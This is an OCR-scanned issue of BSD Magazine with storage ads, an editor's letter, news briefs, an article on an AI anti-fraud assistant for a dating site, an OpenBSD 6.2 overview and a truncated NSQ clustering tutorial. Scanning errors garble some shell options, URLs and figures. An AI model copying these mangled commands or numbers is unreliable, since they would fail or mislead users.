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NOT ANYMORE! 


Introducing FreeNAS® Certified Flash: A high performance all- 
flash array at the cost of spinning disk. 


Unifies NAS, SAN, and object storage to support Perfectly suited for Virtualization, Databases, 
multiple workloads Analytics, HPC, and M&E 

Runs FreeNAS, the world’s #1 software-defined 10TB of all-flash storage for less than $10,000 
storage solution Maximizes ROI via high-density SSD technology 
Performance-oriented design provides maximum and inline data reduction 

throughput/lOPs and lowest latency Scales to 100TB in a 2U form factor 


OpenZFS ensures data integrity 


The all-flash datacenter is now within reach. Deploy a FreeNAS Certified Flash array 
today from iXsystems and take advantage of all the benefits flash delivers. 


Call or click today! 1-855-GREP-4-IX (US) | 1-408-943-4100 (Non-US) | www.iXsystems.com/FreeNAS-certified-servers 


Copyright © 2017 iXsystems. FreeNAS is a registered trademark of iXsystems, Inc. All rights reserved. 


The FreeNAS Mini: Plug it in and boot it up — It just works. 


Runs FreeNAS, the world’s #1 software-defined Backed by a 1 year parts and labor warranty, and 
storage solution supported by the Silicon Valley team that designed 
and built it 


Unifies NAS, SAN, and object storage to support 
multiple workloads Perfectly suited for SOHO/SMB workloads like 


Encrypt data at rest or in flight using an 8-Core backups, replication, and file sharing 


2.4GHz Intel® Atom® processor Lowers storage TCO through its use of enterprise- 
class hardware, ECC RAM, optional flash, white- 


OpenZFS ensures data integrity 
glove support, and enterprise hard drives 


A 4-bay or 8-bay desktop storage array that scales 
to 48TB and packs a wallop 


And really — why would you trust storage from anyone else? systems: 


Call or click today! 1-855-GREP-4-IX (US) | 1-408-943-4100 (Non-US) | www.iXsystems.com/Freenas-Mini or purchase on Amazon. 


Intel, the Intel logo, Intel Inside, Intel Inside logo, Intel Atom, and Intel Atom Inside are trademarks of Intel Corporation or its subsidiaries in the U.S. and/or other countries. 


Dear Readers, 


The month of October is drawing to an end and it's worth to note that it was a month full of events and 
meetings. First of all, | would like to bring to your attention to two releases: OpenBSD 6.2 and FreeBSD 
10.4-RELEASE. Both are currently available. As most of you were anticipating for these two releases, | bet you 
are now enthusiastic to check what new features were implemented, and in preparation, have updated your 
system. 


Moreover, there are a few events where you have the opportunity to meet each other. In this regard, | need to 
mention the 15th annual Ohio LinuxFest. This year’s event was filled with an outstanding amount of energy and 
spirit from the staff members, sponsors, and over 7/00 attendees in the conference. The next event worth 
mentioning is Open-Source Summit 2017 in Prague, Czech Republic. Open-Source Summit is a technical 
conference where 2,000+ developers, operators, and community leadership professionals convene to 
collaborate, share information, and learn about the latest open technologies, including Linux, containers, cloud 
computing, and more. | hope you attended this year’s conferences. If not, 2018 will be much bigger and better, 
So make sure to join the BSD family. However, the conferences are not fully dedicated to BSD users. For 
instance, some of you will have an opportunity to meet other BSD experts during USENIX’s LISA17 in San 
Francisco, California. LISA is the annual vendor-neutral meeting place for the wider system administration 
community. At LISA, systems engineers and operations professionals share real-world knowledge about 
designing, building, and maintaining the critical systems of our interconnected world. The LISA17/ program will 
not only address the overlap and differences between traditional and modern IT operations and engineering, but 
will also offer a highly-curated program around three topics: architecture, culture, and engineeringwherein the 
FreeBSD Foundation is an Industry Partner. 


lf you are looking for a conference to attend in Asia, there is still time to join others during the BSDTW 2017 
conference in Taipei, Taiwan. This is a 2-day conference from November 1-2 and is planned as a single-track 
conference with 11 presentations of 50 minutes each that will cover the latest BSD technology. The conference 
will attract over 100 highly-skilled engineering professionals, software developers, computer science professors, 
users and students from all over Asia as well as other parts of the world. The goal of BSDTW Is to share 
knowledge about the BSD operating systems, facilitate coordination and cooperation among users and 
developers, and to promote business-friendly BSD licensed open-source software. 


Taiwan has a long history with BSD systems. Many of the top websites in Taiwan are using FreeBSD as their 
main server OS. Also, OpenBSD and NetBSD are used in many products from local companies. In education 
networks, FreeBSD is usually the first choice for the server OS because of its stability and performance. There 
are more than a dozen FreeBSD developers and many BSD users in Taiwan. However, they have beed a bit 
unnoticed in the past few years because there has been no event for people to gather and meet. 


It is my desire that if you have attended an event devoted to the BSD world, you would want to share your 
memories about the conference(s) with our readers. | would be glad to publish your thoughts and experiences 
in the next magazine issue with our readers. 


In the BSD magazine, as always, we include a few top-notch articles. | really enjoy working on them. | would 
like to thank the BSD team members for reviewing and proofreading, and iXsystems for their constant support 
and time to make every edition a success. 

And now, let’s read the articles! 

Enjoy! 

Ewa & The BSD Team 
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In Brief 06 
Fwa & The BSD Team 

This column presents the latest news coverage of 
breaking news, events, product releases, and 
trending topics from the BSD sector. 


OPENBSD 


OpenBSD 6.2 12 
Albert Hui 

As soon as OpenBSD 6.2 was released, this article 
was drafted to cover the significant changes and 
features of this release. OpenBSD 6.2 release can be 
downloaded from the OpenBSD mirrors. 


FREEBSD 


Real-time Distributed Messaging On FreeBSD 
With NSQ 14 
Abdorrahman Homaeli 

A real-time application (RTA) is an application that 
responds within a time limitation that the user feels 
as immediate or current. The latency must be less 
than a predicted value. Latency is measured in 
seconds or milliseconds. Whether or not a given 
application qualifies as an RTA depends on the 
worst-case execution time (WCET), which is the 
maximum length of time a defined task or set of 
tasks requires on a given hardware platform. The use 
of RIAs is called real-time computing (RTC). 


SECURITY 


Tracking Hacker Activities ina Linux Server 18 
Renan Dias 

The recent wave of cyber attacks has shown us the 
importance of securing our infrastructure and 
systems. With the advancement of technology, 
attacks are likely to become more frequent and 
sophisticated. Have your systems ever been 
attacked? No? Well, there is a famous saying in 
Information Security: “There are only two types of 
companies: Those who have been hacked and know 
about it and those who have been hacked and don't 
know about it.” 


MMS 


Emulating DOS Games 28 
Natalia Portillo 

There was a time when everything was about being 
joyous and playful. Those were the times when we 
played our games in a little operating system called 
DOS. Oh, glorious days of the past, fond memories 
you've become. But not to worry, because in this 
article, Natalia will explore the best solutions 
currently available to revive those old memories in 
your current computer via VirtualBox, DOSBox, and 
86Box. 


PROGRAMMING 


Solving Expressions Using Reverse Polish 
Notation 34 
Rafael Santiago de Souza Netto 

In this article, | will show you a way of simplifying 
and solving math expressions programmatically. A 
sample code in C will be shown to exemplify the 
ideas discussed here. This is designated for readers 
with at least a minimal knowledge of C language and 
also interested in Computer Science. 


INTERVIEW 


Interview with Yue Chen 4A 
Fwa & The BSD Team 

Yue Chen is a researcher at Florida State University, 
USA. He has published numerous high-quality 
papers in prestigious conferences and journals with 
a high impact. He also serves as a program 
committee member of a number of renowned 
conferences, symposiums and workshops. 
Additionally, he is a BSD lover and several of his 
works are implemented on BSD systems. 


COLUMN 


The recent sting by Queensland’s Taskforce 
Argos in bringing a pedophile forum on the dark 
web to justice raises questions not just for 
systems administrators and IT professionals, but 
law enforcement and the general public as well. 
Who can we trust out there? 50 
Rob Somerville 
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Sy Truenas X20 


MEET DAVID 


TRUENAS® PROVIDES MORE PERFORMANCE, FEATURES, AND CAPACITY PER- 
DOLLAR THAN ANY ENTERPRISE STORAGE ARRAY ON THE MARKET. 


Introducing the TrueNAS X-Series: Perfectly suited for core-edge configurations and enterprise 
workloads such as backups, replication, and file sharing. 


* Unified: Simultaneous SAN, NAS, and object protocols to support multiple applications 
* Scalable: Up to 120 TB in 2U and 720 TB in 6U 

* Safe: High Availability ensures business continuity and avoids downtime 

* Reliable: Uses OpenZFS to keep data safe 

* Trusted: TrueNAS is the Enterprise version of FreeNAS®, the world’s #1 Open Source SDS 


* Enterprise: Enterprise-class storage including unlimited instant snapshots and advanced storage 


optimization at a lower cost than equivalent solutions from Dell EMC, NetApp, and others 


The TrueNAS X10 and TrueNAS X20 represent a new class of enterprise storage. Get the full 


details at iXsystems.com/TrueNAS. 
@P systems 


Copyright © 2017 iXsystems. TrueNAS and FreeNAS are registered trademarks of iXsystems, Inc. All rights reserved. 


OpenBSD 6.2 Released 


A few days ahead of the date hinted at by the 
work-in-progress release page, OpenBSD 6.2 was 
released, October 9th, 2017. Notable changes in this 
release are as always, numerous. They include: 


¢« Improved hardware support on modern platforms 
including ARM64/ARMv/ and octeon, while 
amd64 users will appreciate additional support for 
the Intel Kaby Lake video cards. 


¢« Network stack improvements include extensive 
SMPization improvements and a new FQ-CoDel 
queueing discipline, as well as enhanced WIFI 
Support in general and improvements to iwn(4), 
iwm(4) and anthn(4) drivers. 


- Improvements in vmm(4)/vmd include VM 
migration, as well as various compatibility and 
performance improvements. 


¢ Security enhancements including a new freezero(3) 
function, further pledge(2)ing of base system 
programs and conversion of several daemons to 
the fork+exec model. 


- Traopsleds, KARL, and random linking for libcrypto 
and Id.so, dramatically increase security by 
making it harder to find helpful ROP gadgets, and 
by creating a unique order of objects per-boot. 


- The base system compiler on the amd64 and i386 
platforms has switched to clang(1). 


New versions of OpenSSH, OpenSMTPgd, LibreSSL, 
and mandoc are also included. The full story is, as 
always, to be found on the release page, an upgrade 
guide is available, and of course, the project 
Donations page is still open for business. 


Source: 


https://undeadly.org/cgi?action=article;sid=201 7100 
9144926 


In Brief 


FreeBSD 10.4-RELEASE 


This is the fifth release of the stable/10 branch, 
building upon the stability and reliability of 
10.38-RELEASE and introducing new features. 
FreeBSD 10.4-RELEASE Is now available for the 
amd64, i386, ia64, powerpc, powerpc64, sparc64, 
and armv6 architectures. 


Some of the highlights 


10.4-RELEASE Is the first FreeBSD release to feature 
full support for eMMC storage, including eMMC 
partitions, TRIM and bus speed modes of up to 
HS400. 


Please note, though, that availability of especially the 
DDR52, HS200 and HS400 modes requires support 
in the actual sdhci(4) front-end as well as by the 
hardware used. Also note that the SDHCI controller 
part of Intel® Apollo Lake chipsets is affected by 
several severe silicon bugs. Apparently, it depends 
on the particular Apollo Lake platform whether the 
workarounds in place so far are sufficient to avoid 
timeouts on attaching sdhci(4) there. 


Also in case a GPT disk label is used, the fsck_ffs(8) 
utility now can find alternate superblocks. 


The aesni(4) driver now no longer shares a single 
FPU context across multiple sessions in multiple 
threads, thus addressing problems seen when 
employing aesni(4) for accelerating ipsec(A4). 


Support for the Kaby Lake generation of Intel® 
1219(4)/ i1219(5) devices has been added to the em(4) 
driver. 


FreeBSD 10.4-RELEASE will be supported until 
October 31, 2018, and is expected to be the final 
release from the FreeBSD 10 release series. 


Source: 


https://www.freebsd.org/releases/10.4R/announce.ht 
ml 


#ServerEnvy: Drives for 
Days 


Last week, five of these monster systems rolled 
through our production floor, and we thought we’d 
share. The 4U server we have here is the IX-4260 
from our Jupiter series. With a 60-bay drive capacity, 
this system will provide you with more storage than 
you can imagine. 
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This particular order is populated with 60 x 10TB 
HGST Helium Ultrastar HDDs for an astounding total 
of 600TBs of raw storage capacity per system. . The 
helium, a 1/7 the density of air, in these specific 
drives allows for thinner drives and as a result, 
higher storage density. For a bonus, these drives 
also consume less power and run cooler than normal 
HDDs, saving on electrical costs and improving drive 
reliability. 


The system is also populated with 2 x 800GB Intel 
SSDs, 8x16GB ECC RAM, and powered by dual Intel 
Xeon ten core processors. The system is backed up 
by a 2000W redundant (1+1) power supply to protect 
it from data corruption in case of power surges or 
outages. 


These five servers are just one example of some of 
the custom systems we've built in our 15 years of 
experience in the industry, and we’re always Super 
excited when we get to work on a system that 
pushes the limits of hardware possibilities. If you’re 
interested in working with us to get your own 
“monster” system, give us a call at 1.855.GREP4.IX 
or email us at info@ixsystems.com for a risk-free 
consultation. 


Source: 
httos://www.ixsystems.com/blog/serverenvy-jupiter/ 


BugReplay’s Bug 
Reporting Tool Now 
Available as a Firefox 
Add-on 


BugReplay’s flagship debugging tool’s integration 
with Firefox enhances productivity for web 
developers and internal software testers. 


BugReplay, a provider of an innovative set of web 
browser tools that make reporting bugs faster and 
fixing them easier, announced the availability of its 
flagship product of the same name as an add-on for 
the Firefox web browser on October 9th, 2017. A 
screencast and network debugging tool for web 
developers and internal software testers, BugReplay 
enables users to quickly and accurately submit 
detailed bug reports about web applications. By 
creating a synchronized screen recording of a user’s 
actions, network traffic, JavaScript logs and other 
key environmental data, BugReplay reduces the time 
to complete the task of bug reporting of up to an 
hour or more to less than a minute. 

By using BugReplay as a Firefox add-on, all users 
have to do Is click on the BugReplay button on their 
browsers, click “record” and then retrace their steps 
that led to the problem, click on the “record” button 
again to stop recording, and then click “save” to 
finish. People working on debugging web apps then 
automatically receive the BugReplay video report, 
which captures environmental data about a bug 
reporter’s browser, operating system, locale, date 
and time of the report, time zone, system memory 
and other information. 

BugReplay integrates with JIRA, GitHub, and Slack, 
and offers custom email integration that will send an 
email to any address after a report is created. It also 
integrates with Zendesk so users can attach videos 
to their support tickets. Users can also share their 
reports with anyone by creating a shareable URL. 
The BugReplay dashboard lists all reports made so 
users can easily review reports submitted by anyone 
within an organization. 

In addition to Firefox, BugReplay is also available as 
an extension for the Google Chrome web browser. 


BugReplay, as a Firefox add-on or Chrome 
extension, requires signing up for a 30-day trial 
period at https://bugreplay.com. As a 
Software-as-a-Service (SaaS), BugReplay is offered 
as a monthly subscription; its pricing is based on the 
frequency of use. 


About BugReplay: 

Founded in 2015, BugReplay is a leading provider of 
an innovative set of web browser tools that make 
reporting bugs faster and fixing them easier. Its 
mission is to develop easy-to-use tools for 
diagnosing and repairing issues with web 
applications. Based in New York City, BugReplay’s 
offerings include BugReplay, a screencast and 
network debugging tool for web developers and 
internal software testers; and Feedback by 
BugReplay, a reporting tool for website users to 
submit bug reports to customer support teams. For 
more information, visit http://www.bugreplay.com 
and follow on Twitter @BugReplay. 


Source: 


http://www. orweb.com/releases/201 7/10/orweb14 75 
8744.htm 


Artificial Intelligence [Al] : 
Protecting Online Dating 
Users From Fraud 


Cyber crime and dating fraud is a growing business 
for criminals. Hundreds of millions of dollars is stolen 
each year. 


$219 
USA million Source FBI 
2017 
£27 million 
UK 5016 Source Action Fraud 
Austral $42 million Source Australian Competition 
la 2016 and Consumer Commission 


At saucydates.com, we have worked for ten years to 
tackle the criminals behind dating scams. Scarlet is 
our latest development to educate and protect 
users. Scarlet is an artificial intelligence virtual 
assistant that interacts with our users when they are 
having online conversations with others. She offers 
advice as well as triggers manual profile previews for 
our moderation team. The advice she instills is only 
viewable to the potential victim. A fraudster is 
unaware that Scarlet is reading, learning and 
advising. 


rer 


The example conversation above is common for 
scammers. They want users to leave a site aS soon 
as possible so they cannot be detected and 
removed. Additionally, once they have a user’s email, 
it's added to a ‘suckers’ list and exposed to more 
scams and phishing attacks. 


How does Scarlet work? 


We have two traditional ways to detect fraud which 
is common within the dating industry. The first is our 
moderation team flagging a suspicious user. The 
second is our members who can report suspicious 
activity. Members’ reports are broken down into 
different categories such as abuse, fraud, underaged 
user, etc. Ahuman moderator then checks the 
activity of a reported user and decides if the account 
should be terminated. 


This base line enables us to split messages into 
different sections, and within the fraud section, we 
can identify different tyoes of scam. Scarlet is then 
coded to detect and learn within each type of sub 
fraud. Some examples she knows are: 
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Traditional romance scam: 

The victim falls in love with a fake person who will 
eventually need some financial help, which is a 
scam. 


Hotel scam: 

The victim is asked to get a local hotel to meet up for 
a night of passion, and asked to share the hotel 
name and reservation number. The scammer calls 
the victim, pretending to be the hotel, explaining 
there’s a problem with the payment and aks if they 
have another card or want to try the payment again. 
Later, the victim would have shared their credit card 
details with a scammer if they play by that script. 


Cam scam: 

The scammer pretends to be a webcam model and 
asks men to join her (his) site to watch. The 
scammer gets paid a commission by the cam site for 
each new member. Cam site owners know this 
happens, but some can be lax in addressing it as 
they are making money from it too. 


Sextortion: 

The scammer pretends to be a glamorous female 
and gets men to perform naked sex acts ona 
webcam. They record the camera session and then 
blackmail the user by threatening to share it with the 
victim’s LinkedIn and Facebook connections. Tools 
such as Google image search allow a criminal to 
locate a social network account from a user’s dating 
profile picture. 


Gift card scam: 

A scammer claims their smart phone’s apps are out 
of date and they cannot afford to update. They 
request an app store gift card to enable them to 
communicate further. 


Breaking down the problem into subsets makes it 
quick for Scarlet to become an expert. Taking 100 
messages that have been identified by moderation 
as a hotel scam, she can find patterns and 
similarities. 


Presently, Scarlet will only flag a user for manual 
moderation and will not delete them automatically. 
But she helps with the moderation by re-reading all 
the messages and color coding them for the 
reviewer. If a human reviewer is presented with a 


screen of red messages, then it decides to ban the 
account quick and easy. 


In the screenshot above, our moderation control 
panel shows that Scarlet has found all messages(in 
red) related to leaving the dating site, but ignored the 
general messages(in black). 


Educating users 


Making our users aware of scams is imperative to 
our company. Many brands hide the problem which 
is rife within the industry. We feel education not only 
protects our users but helps them spot and report 
more issues, which in turn helps Scarlet improve her 
knowledge of scams. 


The virtual assistance aspect of Scarlet joining and 
monitoring conversations has been a major 
breakthrough in fraud prevention for our dating 
network. If you have static fraud advice on a single 
page you need someone to read it, remember it and 
apply it. It’s a big task when a user is communicating 
with someone they are attracted to. Hence, having 
scarlet within the live conversations is a fundamental 
change for the better. 


Success rates 


Since implementing Scarlet a few months ago, the 
number of fraudulent users has dropped by /5%. 
Unfortunately, the criminals still exist and will move 
to other dating sites with weaker anti-fraud tools or a 
disregard for fraud awareness. 
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Reducing online dating fraud 


The media and public’s views on technology and 
privacy differ considerably. However, these are the 
areas that we feel still need to be addressed to 
reduce online dating fraud : 


: Dating site owners need to educate their 
users and innovate to help reduce the effectiveness 
of scammers via moderation and Al. 


: End to End message encryption makes 
moderation and Al near impossible, and should not 
be implemented for dating sites. 


: Proxy networks and VPNs that allow 
anonymous browsing and effectively change the IP 
address location of users need to be disallowed for 
dating sites. A public database of sites opting out of 
proxy networks would help significantly, making a 
network owner responsible for blocking access. 


° Mobile handset manufacturers should 
make it impossible, or at least very difficult to fake a 
GPS location with a third party add-on. 


Often, there is a misunderstanding that IP addresses 
are the key to fraud prevention. But VPNs, proxy 
servers, mobile networks, wi-fi and dynamic 
broadband addresses mean the ownership of an IP 
address is either shared or temporary. The biggest 
single impact on fraud reduction would be for every 
device to have a unique ID that is publicly visible, but 
online privacy would then be abolished. Today, It’s 
creative thinking and Al that are the best defenses 
against online dating fraud. 
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Swarm Mode on Amazon Web Services 


Ist ed., XVIII, 320 p. 239 illus., 210 illus. in 
color. 


A product of Apress 


rif Printed book 


Softcover 
> 36,99 €| £27.99 | $39.99 
> *39,58 € (D) | 40,69 € (A) | CHF 41.00 


GF eBook 


Available from your library or 
> springer.com/sho 


47 MyCopy 


Printed eBook for just 
> €|$ 24.99 
> springer.com/myco 


Apress 


D. Vohra 
Docker Management Design Patterns 


Swarm Mode on Amazon Web Services 


> Master Docker management design patterns and how to use them to 
develop applications 

> Utilize Swarm Mode features to manage a cluster of containers 
distributed across multiple machines 

> Learn to use Docker for AWS managed services 


Master every aspect of orchestrating/managing Docker including creating a Swarm, 
creating services, using mounts, scheduling, scaling, resource management, rolling 
updates, load balancing, high availability, logging and monitoring, using multiple zones, 
and networking. This book also discusses the managed services for Docker Swarm: Docker 
for AWS and Docker Cloud Swarm mode. 


Docker Management Design Patterns explains how to use Docker Swarm mode with Docker 
Engine to create a distributed Docker container cluster and how to scale a cluster of 
containers, schedule containers on specific nodes, and mount a volume. 


You will learn to provision a Swarm on production-ready AWS EC2 nodes, and to link 
Docker Cloud to Docker for AWS to provision a new Swarm or connect to an existing 
Swarm. Finally, you will learn to deploy a Docker Stack on Docker Swarm with Docker 


Compose. 


You will: 


y Docker management design patterns 


Use Docker Swarm mode and other new features introduced in Docker 1.12 and 1.13 


e Create and scale a Docker service 


e Use mounts including volumes 


Configure scheduling, load balancing, high availability, logging and monitoring, rolling 
updates, resource management, and networking 


e Use Docker for AWS managed services including a multi-zone Swarm 


Build Docker Cloud managed services in Swarm mode 


Order online at springer.com > or for the Americas call (toll free) 1-800-SPRINGER » or email us at: 
customerservice@springer.com. » For outside the Americas call +49 (0) 6221-345-4301 » or email us at: 
customerservice@springer.com. 


The first € price and the £ and $ price are net prices, subject to local VAT. Prices indicated with * include VAT for books; the €(D) includes 7% for 
Germany, the €(A) includes 10% for Austria. Prices indicated with ** include VAT for electronic products; 19% for Germany, 20% for Austria. All prices 
exclusive of carriage charges. Prices and other details are subject to change without notice. All errors and omissions excepted. 
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OPENBSD 


OpenBSD 6.2 


Just recently, the OpenBSD 6.2 has been released and this article will cover the significant changes and 
features for this release. The new OpenBSD 6.2 release can be downloaded from the OpenBSD mirrors and 
continues the tradition of media-less installations and upgrades. Please consult the OpenBSD install and 
documentation for more details under the heading “How to install” from Attos://www.openbsd.org/62.html. This 
article will provide an overview of the key features, improvements and highlights for this release. 


Updated full hardware platform support, network stack and new driver enhancements 


This new release features complete operating system support for the ARM64, ARMv7 and Octeon platforms. 
The popular Orange PI 2 and Firefly RK3399 ARM hardware platforms are also fully supported. These 
significant kernel and operating system level improvements allow for OpenBSD to be fully functional for 
production use on these embedded platforms. 


This OpenBSD release provides improved networking stack improvements and updated support for the newer 
Realtek and Intel network devices. NVMe drivers have been added to allow for supported NVMe devices to 
create and boot off from GUID partition table (GPT). Additionally, another significant security and performance 
related improvements are in the wireless connectivity component for IEEE 802.11n otherwise known as 
multiple-inout and multiple-output (MIMO). It’s interesting to mention that the performance improvements of the 
new updated network stack [1] show performance gains of at least twenty percent [2] when benchmark tested. 
These performance gains are attributed to the re-architecture of how batch packets are handled and 
processed. 


Base Compiler Changes 


This release also bring forth deprecation of OpenBSD’s custom gcc compiler and now utilizes clang(1) as the 
default base compiler for both the i886 and amd64 platforms. An important feature of OpenBSD's clang 
compiler is that stack protection is enabled by default and will log all violations to the stack protector cookie 
using the LOG_CRIT priority option in syslog(3). Additionally, the clang(1) compiler is configured to generate 
position-independent executable (PIE) by default, thus allowing the compiled program to be loaded into 
random memory locations. 
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OpenSSH Changes 


Another significant change in OpenBSD 6.2 is the 
updated OpenSSH 7.6 which provides several 
relevant feature enhancements such as the built-in 
client based SOCKS4/5 proxy support invoked by 
the “RemoteForward” or -R options. Detailed SSH 
session authentication methods and public keys 
details now can be logged by defining the 
“ExposeAuthInfo” option within 
/etc/sshd_config or by setting the 
$SSH_USER_AUTH shell environment variable for 
all new subsequent SSH sessions. Finally, remote 
SSH commands can be scripted and set to load 
using the “RemoteCommand” ssh config(5) 
option on the client side within /etc/ssh/ssh_config 
or by the users’ respective ssh_config configuration 
files. 


References 


[1] 
http://www.grenadille.net/post/201 7/08/21/Faster-f 
orwarding 


[2] 
https://marc.info/?l=openbsd-cvs&m=14962103551 
0188&w=2 


Meet Our Author 


Albert Hui has been passionate about Unix and 
other exotic operating systems and has been an 
OpenBSD enthusiast since 2003. 


BSD Certification 


The BSD Certification Group Inc. 
(BSDCG) is a non-profit organization 
committed to creating and 
maintaining a global certification 
standard for system administration 
on BSD based operating systems. 


@ WHAT CERTIFICATIONS ARE AVAILABLE? 


BSDA: Entry-level certification suited for candidates 
with a general Unix background and at least six months of 
experience with BSD systems. 


BSDP: Advanced certification for senior system administrators 
with at least three years of experience on BSD systems. 
Successful BSDP candidates are able to demonstrate 

strong to expert skills in BSD Unix system administration. 


© WHERE CAN | GET CERTIFIED? 


We're pleased to announce that after 7 months of 
negotiations and the work required to make the exam 
available in a computer based format, that the BSDA 
exam is now available at several hundred testing centers 
around the world. Paper based BSDA exams cost $75 USD. 
Computer based BSDA exams cost $150 USD. The price of 
the BSDP exams are yet to be determined. 


Payments are made through our registration website: 
https://register.bsdcertification.org//register/payment 


@ WHERE CAN | GET MORE INFORMATION? 


More information and links to our mailing lists, Linkedin 
groups, and Facebook group are available at our website: 
http://www.bsdcertification.org 


Registration for upcoming exam events is available at our 
registration website: 
https://register.bsdcertification.org//register/get-a-bsdcq-id 


FREEBSD 


Real-Time Distributed 
Messaging On FreeBSD 


With NSQ 


What Is Real-Time Application? 


A real-time application (RTA) is an application that 
responds within a time limitation that the user feels 
as immediate or current. The latency must be less 
than a predicted value. Latency is measured in 
seconds or millisecond. Whether or not a given 
application qualifies as an RIA depends on the 
worst-case execution time (WCET), the maximum 
length of time a defined task or set of tasks requires 
on a given hardware platform. The use of RTAs is 
called real-time computing (RTC). 


What Is Distributed Messaging System? 


A distributed messaging system is usually adopted 
when the network cannot handle traffic to a central 
hub for services. Therefore, the operating system 
and messaging servers are placed locally. User 
requirements may be another factor. 


What Is Real-Time Application ? 
What Is Distributed Messaging System ? 
What is NSQ? 
NSQ Components 
How To Install NSQ? 
Create Local NSQ Cluster 
Create Practical NSQ Cluster 


Distributed Messaging System will address these 
problems : 


low-bandwidth 

high-latency 

unreliable network connections 

users dispersion 

network infrastructure limitation 

user requirements 
What is NSQ? 
NSQ is a real-time distributed messaging platform. 
NSQ nobble features are: 


¢ supports distributed topologies with no SPOF 
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¢ horizontally scalable (no brokers, seamlessly add 
more nodes to the cluster) 


- low-latency push based message delivery 


¢ combination load-balanced and multicast style 
message routing 


- excels at both streaming (high-throughput) and job 
oriented (low-throughput) workloads 


¢ primarily in-memory (beyond a high-water mark 
messages are transparently kept on disk) 


¢ runtime discovery service for consumers to find 
producers (nsqlookupd) 


¢ transport layer security (TLS) 
¢ data format agnostic 


- few dependencies (easy to deploy) and a sane, 
bounded, default configuration 


¢ simple TCP protocol which supports client libraries 
in any language 


¢- HTTP interface for stats, admin actions, and 
producers (no client library needed to publish) 


- integrates with statsd for real-time instrumentation 
- robust cluster administration interface (nsqadmin) 
Guarantees: 

¢« messages are not durable (by default) 


¢ messages are delivered, at least once(no built in 
replication) 


¢ messages received are un-ordered Anchor link for: 
messages received are un ordered 


¢ consumers eventually find all topic producers 
NSQ Components 
NSQD: 


NSQD is the daemon that receives, queues, and 
delivers messages to clients. 
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A single nsqd instance is designed to handle multiple 
streams of data at once. Streams are called “topics”, 
and a topic has 1 or more “channels”. Each channel 
receives a copy of all the messages for a topic. In 
practice, a channel maps to a downstream service 
consuming a topic. 


lt can be run standalone but is normally configured in 
a cluster with nsqlookupd instance(s) (in this case it 
will announce topics and channels for discovery). 


It listens on two TCP ports, one for clients and 
another for the HTTP API. It can optionally listen on a 
third port for HTTPS. 


Nsqlookupd: 


Nsqglookupd is the daemon that manages topology 
information. Clients query nsqlookupd to discover 
nsqd producers for a specific topic and nsqd nodes 
broadcasts topic and channel information. 


There are two interfaces: A TCP interface which is 
used by nsqd for broadcasts and an HTTP interface 
for clients to perform discovery and administrative 
actions. 


Nsqadmin 


A Web UI to view aggregated cluster stats in 
real-time and perform various administrative tasks. 


Utilities: 


These are utilities that facilitate common functionality 
and introspection into data streams. 


How To Install NSQ? 


Install NSQ by port mechanism: 

# cd /usr/ports/net/nsgq 

# make install clean 
Install NSQ by package manager: 


#pkg install nsq 


Create Local NSQ Cluster 


The following commands run a small NSQ cluster on 
your local machine, and send messages and 
archives messages to disk. 


Issue nsqlookupd: 
# nsqlookupd 
In another shell, start nsqd: 


# nsqd —lookupd-tcp- 
address=127.0.0.1:4160 


In another shell, start nsqadmin: 


# nsqadmin 
--lookupd-http-address=127.0.0.1:4161 


Publish an initial message (creates the topic in the 
cluster, too): 


# curl -d 'BSDMAG MSG l1' 
"http://127.0.0.1:4151/pub?topic=bsdmag ' 


When you send a message to a topic for the first 
time, topic will be created. 


-d (HTTP) Sends the specified data ina POST 
request to the HTTP server, in the same way a 
browser does when a user fills in an HTML form and 
presses the submit button. 


Finally, in another shell, start nsq_to_file: 


# nsq to file --topic= bsdmag 
--output-dir=/tmp -lookupd-http- 
address=127.0.0.1:4161 


nsq_to _file acts as a client and copies messages 
from memory to disk. 


To publish more messages to nsqd: 


# curl -d 'BSDMAG MSG 2' 
"http: //127.0.0.1:4151/pub?topic=bsdmag 


# curl -d 'BSDMAG MSG 3' 
"http://127.0.0.1:4151/pub?topic=bsdmag 


i] 
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To verify things worked as expected, in a web 
browser, open http://127.0.0.1:4171/ to view the 
nsqadmin Ul and see the statistics. Also, check the 
contents of the log files (test.*.log) written to /tmp. 


The important lesson here is that nsq_to_file (the 
client) is not explicitly told where the test topic is 
produced. Rather, it retrieves this information from 
nsqlookupd, and despite the timing of the connection, 
no messages are lost. 


Create Practical NSQ Cluster 


The following commands run a Practical NSQ cluster 
on web: 


Requirements: 


Remote Server-1 with NSQ installed (Topology 
maintainer) 


Remote Server-2 with NSQ installed (Message 
maintaner) 


Remote Server-3 with NSQ installed (Admin 
panel) 


Client-1with NSQ installed (Message Sender) 
Client-2 with NSQ installed (Message Retriever) 
Issue nsqlookupd on server-1: 

# nsqlookupd 


This command will open TCP 4160 and 4161 for 
listen. 


Start nsqd on server-2: 


# nsqd —lookupd-tcp-address="server-1 
ip”: 4160 


This command will open TCP 4150 and 4151 for 
listen. 


Start nsqadmin on server-3: 


# nsqadmin —-lookupd-http- 
address="server-1 ip”:4161 


This command will open TCP 41771 for listen. This 
port will be used for administration access. 


Publish an initial message by issuing the following ¢ nsqd is also very important and is better to be 
command on client-1(creates the topic in the cluster secured. 
too): 

¢ you can run cluster with multi nsqlookup and nsqd 
# curl -d 'SARA MSG 1' 
'http://"server-2 ip”:4151/pub? ¢ 3 or 5 nsqlookup works well for deployments 
topic=sara' involving up to several hundred nsqd and 

thousands of client. 


When you send message to a topic for first time, 


topic will be created. Conclusion 

-d (HTTP) Sends the specified data ina POST lf you need messaging platform and you have 
request to the HTTP server, in the same way that a low-bandwidth and high-latency, NSQ is your 
browser does when a user fills in an HTML form and solution. Creating complex NSQ cluster is very fast 
presses the submit button. and simple. 

Finally, on client-2, start nsq_to_file: Useful Links 

# nsq_ to file --topic=test http://nsq.io/overview/design. html 
--output-dir=/tmp -lookupd-http- 

address="server-1 ip”:4161 http://nsq.io/overview/internals. html 

nsq_to_file acts as a client and copies messages http./in4bsd.com 


f to disk. 
ote ey, eae http://meetbsd.ir 


To publish more messages on client-1 to nsqd: 


# curl -d 'SARA MSG 2' ‘'http://server-2 
ip: 4151/pub?topic=sara' 


# curl -d 'SARA MSG 3' ‘'http://server-2 
ip: 4151/pub?topic=sara' 


To verify things worked as expected, in a web 


browser, open http://"server-3 ip":4171/ to view the Meet Our Author 
nsqadmin UI and see the statistics. Also, check the 
contents of the log files (test.*.log) written to /tmpon Abdorrahman Homaei has been 
client-2. working as a software developer since 
2000. He has used FreeBSD for more 
As you see, server-1 will hold information about all than ten years. He became involved 
